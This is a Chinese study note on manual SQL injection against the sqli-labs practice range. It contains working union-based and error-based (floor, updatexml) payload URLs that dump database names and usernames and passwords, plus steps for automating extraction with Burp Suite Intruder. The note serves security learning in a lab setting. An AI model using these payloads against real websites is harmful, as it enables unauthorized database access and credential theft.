sql server schema下拉不到存储过程_SQL注入学习笔记1

最近学习了一下有关SQL手工注入的相关知识,趁着有空赶紧整理一下。

本文所有的测试都是基于sqli-labs环境进行的,sqli-labs集成了各种情况的SQL注入漏洞,是学习SQL注入最经典的靶场。开源地址:https://github.com/Audi-1/sqli-labs 。

另外,为了更方便地进行payload的编写,最好在谷歌浏览器中装一个Hackbar

为了实现自动化的信息获取,借助渗透神器Burpsuite也是必不可少的操作。


SQL手工注入方法

在讲述SQL手工注入方法之前,我们要对SQL数据库有一个基本的了解。

MySQL数据库一共有四个内置库,以下说明一下这四个内置库分别有什么作用:

mysql
含有账户信息、权限信息、存储过程、时区等信息

sys
包含一系列的存储过程、自定义函数以及视图帮助了解系统元数据的信息

performance_schema
用来收集数据库服务器性能参数

information_schema

提供访问数据库元数据的方式,保存着Mysql服务器所维护其他数据库的信息

这里我们可以很明显地看到,对于SQL注入来说,information_schema无疑是最重要的一个内置库。因为这个库存储着Mysql中所有数据库的信息,也就是只要想办法访问到information_schema这个数据库,就可以访问到权限范围内所有数据库文件的信息,甚至可以进行数据库文件的读写操作。

查询数据库核心语法

了解到information_schema数据库的作用以后,我们首先从数据库语法的角度看看怎么在数据库中进行信息的查询。

# 查询MySQL中所有的数据库select schema_name from information_schema.schemata# 查询某数据库中所有表名select table_name from information_schema.tables where table_schema=库名# 查询某数据表内所有的列名select column_name from information_schema.columns where table_name=表名# 查询具体数据select 列名 from 库名.表名

以上只是我在Mysql语法的角度说明一下查数据的语句。

下面要介绍的是一些注入过程中要注意的点:

1. 在写库名,表名,列名的时候,可以将字符串转换为16进制,输出结果是一样的

2.因为数据库输出数据是有长度和行数限制的,所以要获取批量的数据,就要善用数据库的函数和语法,如limitconcatgroup_concatconcat_ws等等。这些的具体用法都会在后续的介绍中讲到。

     3.在一些场景中,想要快速获取数据,需要借助工具,比如Burpsuite


Union 查询注入

union语句是在SQL注入中最常用到的语句之一。而union查询注入算是SQL注入中最简单的注入了。

union语句用于合并两个或多个select语句的结果集。举个例子,假如有两个拥有列数相同的表user1user2,你想要查询其中的数据并一起显示出来,查询语句就是select * from user1 union select * from user2

union要求select语句必须拥有相同数量的列,列必须拥有相似的数据类型,且每条语句列顺序必须相同。而且union是允许重复的,简单来说,就是遇到两行一模一样的数据,也是会正常输出。如果要避免重复数据出现,需要使用union all

a. union注入前提

  1.  union链接的几个查询的字段数一样且列的数据类型相似

  2. 注入点页面有回显

b. union注入步骤

1. 使用order by语句先确定列数 order by语句是一个排序的语句,后面跟字段时就是根据这个字段来进行排       序,后面跟数字时就是根据第几列进行判断,所以当后面跟的数字超出数据       列的范围时,会进行报错,从而推断出数据的列数

2. 观察页面的回显,选取可以显示数据的位置,进行下一步的注入

3. 依次读取库的信息,表的信息,读取字段最终读取数据

c. 靶场演示

本次演示的靶场环境是sqli-labs的第一关。界面如下:

sql server schema下拉不到存储过程_SQL注入学习笔记1_第1张图片

打开Hackbar,开始在URL上进行Payload的编写

首先是要测试一下页面是否存在SQL注入漏洞

http://127.0.0.1/sqli-labs-master/Less-1/?id=1  # 正常显示数据http://127.0.0.1/sqli-labs-master/Less-1/?id=1' # 报错http://127.0.0.1/sqli-labs-master/Less-1/?id=1' and '1' = '1  # 正常显示数据http://127.0.0.1/sqli-labs-master/Less-1/?id=1' and '1' = '2  # 不显示数据

经过以上测试,可以确定页面的确存在SQL注入漏洞

接下来就是要通过order by函数来确认数据的列数。

http://127.0.0.1/sqli-labs-master/Less-1/?id=1'  order by 3--+

在上面的测试语句中,--+是注释语句,将后面的引号注释掉,使得页面不会进行报错。另外,对列数的试探也是有技巧的,如果一个一个数往上递增,碰到列数很多的数据,花费的时间和精力是无可估量的。算法上我们也学过二分法,我们可以按照这种思路去试。举个例子,我们可以先假设一个列数12,当order by 12报错的时候,证明实际列数比12小,这个时候我们可以试6,显而易见6也会报错,以此类推便试3,3没有报错,可以得出列数为3-5之间,于是试4,4报错,所以正确的列数是3。

列数知道之后,我们要使用select语句去查看页面的回显

http://127.0.0.1/sqli-labs-master/Less-1/?id=' union select 1,2,3--+

select 1,2,3就是构造出跟原数据列数相同的一行,而且此时id值设为空的目的是让union前面的语句不回显,这样就是看到1,2,3这三个数字究竟在页面中哪个位置显示,在进行进一步的操作时,只要将具体的语句替换掉数字,就可以进行完整的SQL注入了。

我们来看看页面的回显

sql server schema下拉不到存储过程_SQL注入学习笔记1_第2张图片

这里我们可以看出,23显示在了页面上,所以接下来的注入语句就可以在23处替换

还记得我们刚刚提到的查询数据库的核心语法吗?只要将这些语句替换到你想要显示的位置就可以完成一次SQL注入,还有一个值得注意的点是,因为数据库对回显有限制,所以在必要时要善用group_concat等语法完成一次性的回显。

我们还是按照读取数据库的一般步骤一步步来,先读取一下MySQL中所有数据库名:

http://127.0.0.1/sqli-labs-master/Less-1/?id=' union select 1,2,(select group_concat(schema_name) from information_schema.schemata)--+

回显页面如下:

sql server schema下拉不到存储过程_SQL注入学习笔记1_第3张图片

可见原本显示3的地方显示出了所有Mysql的数据库名

以此类推,还可以进行表的读取,列的读取,最后再精细到数据表中数据的读取

# 读取表,database()指的是当前数据库http://127.0.0.1/sqli-labs-master/Less-1/?id=' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database())--+# 列的读取,就以读取users数据表为例http://127.0.0.1/sqli-labs-master/Less-1/?id=' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='users')--+# 数据的读取,读取users表中password和username两个字段http://127.0.0.1/sqli-labs-master/Less-1/?id=' union select 1,2,(select concat(username,0x7e,password) from users limit 1,1)--+# 可以利用limit一行一行进行读取

d.源码解读

本次union查询注入基本上是完成了,下面我们在源码层面分析一下为什么会出现这种注入

先来看一眼源码

以上是靶场环境源码的节选,我们可以很清楚地看出来,这只是一个很简单的逻辑。

就是用户传递一个参数上去,通过GET方法获取这个参数以后,直接传递到sql变量中作为语句处理,这样的参数完全不经过处理直接传递的代码逻辑造成了union查询注入漏洞的形成。


报错注入

下面我们来研究另外一种经典的SQL注入。

这种注入叫做报错注入,应用场景就是查询的信息在页面中不会进行内容的回显,但是会打印错误的信息。

因为不进行内容的回显,我们没办法像union查询注入一样,让查询的内容在页面回显中显示出来,我们只能想办法让错误信息中显示数据库的内容了。

a. 常用函数介绍

在正式介绍报错注入方法之前,我们首先来熟悉一下报错注入中常用到的几个函数。

floor()# 作用是返回小于或等于x的最大整数,在报错注入中常常与rand函数相互搭配使用extractvalue()# 作用是在目标的XML中返回包含所查询值的字符串# 需要传入两个参数,第一个参数是XML形式的字符串,第二个参数是xpath形式的字符串# 在实际应用中,只要将第二个参数换成查询语句,数据库就会因不是xpath格式的字符串而报错,从而将信息打印出来updatexml# 作用与extractvalue()差不多,只是前者作用是匹配,后者是匹配后进行替换# 传入三个参数,除去前面所说到两个参数外,多一个参数用于替换匹配到的字符# 注入原理与extractvalue()并无差别

b. 注入方法

1.floor()注入语句

http://127.0.0.1/sqli-labs-master/Less-1/?id=1' and (select count(*) from information_schema.tables group by concat((select version()),floor(rand(0)*2)))--+
http://192.168.3.6/sqli-labs-master/Less-5/?id=1' and (select count(*) from information_schema.tables group by concat (0x7e,(select concat(username,0x7e,password) from users limit 11,1),0x7e,floor(rand(0)*2)))--+

1.updatexml()注入语句

http://127.0.0.1/sqli-labs-master/Less-1/?id=1' and (select updatexml(1,concat(0x7e,(select user()),0x7e),1))--+

注意:之所以在updatexml中替换查询语句还要用concat有两点原因,第一点,遇上管理员用户root@localhost时,root也会被当成xpath格式的字符串而不被打印到报错信息中,显示的只有@localhost。第二点,碰上自己写脚本去获取数据时,前后加上~(也就是0x7e),更容易进行正则匹配,取得准确的数据。

c. 使用Burpsuite进行自动化信息获取

报错注入对打印出来的信息有长度限制,一般只能显示32位数据。

经常使用limit语句一个个查看数据库信息也会浪费大量的时间和精力,这时候就要借助渗透神器Burpsuiterepeaterintruder模块来实现数据的自动化获取。

我们先梳理一遍步骤,首先设置浏览器和Burpsuite代理,使得Burpsuite得以顺利得抓取浏览器的数据包。

sql server schema下拉不到存储过程_SQL注入学习笔记1_第4张图片

下一步,我们首先要先进行一次手工注入,然后在Burpsuite中抓取到相应的数据包,并把数据包发送到repeater的相应模块中。  

确认页面能正常得到响应以后,将数据包发送到intruder模块中。

sql server schema下拉不到存储过程_SQL注入学习笔记1_第5张图片

然后将limit后的数字设置为变化的参数,并在Payloads中设置参数的特性。

sql server schema下拉不到存储过程_SQL注入学习笔记1_第6张图片

最终要在Options设置中的Grep - Extract部分匹配到相应包的回显部分。

sql server schema下拉不到存储过程_SQL注入学习笔记1_第7张图片

所有东西都设置好以后,点击Start attack启动,就可以得到数据了。

sql server schema下拉不到存储过程_SQL注入学习笔记1_第8张图片

d. 源码分析

本次测试的靶场环境是sqli-labs的第五关,我们来看看源码。

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";$result=mysql_query($sql);$row = mysql_fetch_array($result);    if($row)    {
            echo ';          echo 'You are in...........';      echo "
"; echo ""; } else { echo '; print_r(mysql_error()); echo ""; echo '; }} else { echo "Please input the ID as parameter with numeric value";}

我们可以看到代码中并没有进行内容的回显,都是用You are in来代替。

而最后在传入参数有问题的时候,就会print_r(mysql_error())。这个就是报错注入形成的原因,页面会回显报错信息。

在代码审计的过程中如果遇到这种情况,基本可以判断存在报错注入。

总结

以上介绍的两种SQL注入只是回显注入的两种经典的例子,关于SQL注入,还有很多其他的更有难度的情况,出于篇幅限制就先写到这里。

如有写得不对或者不清楚的地方,欢迎大家多多指正。

你可能感兴趣的:(sql,server,schema下拉不到存储过程)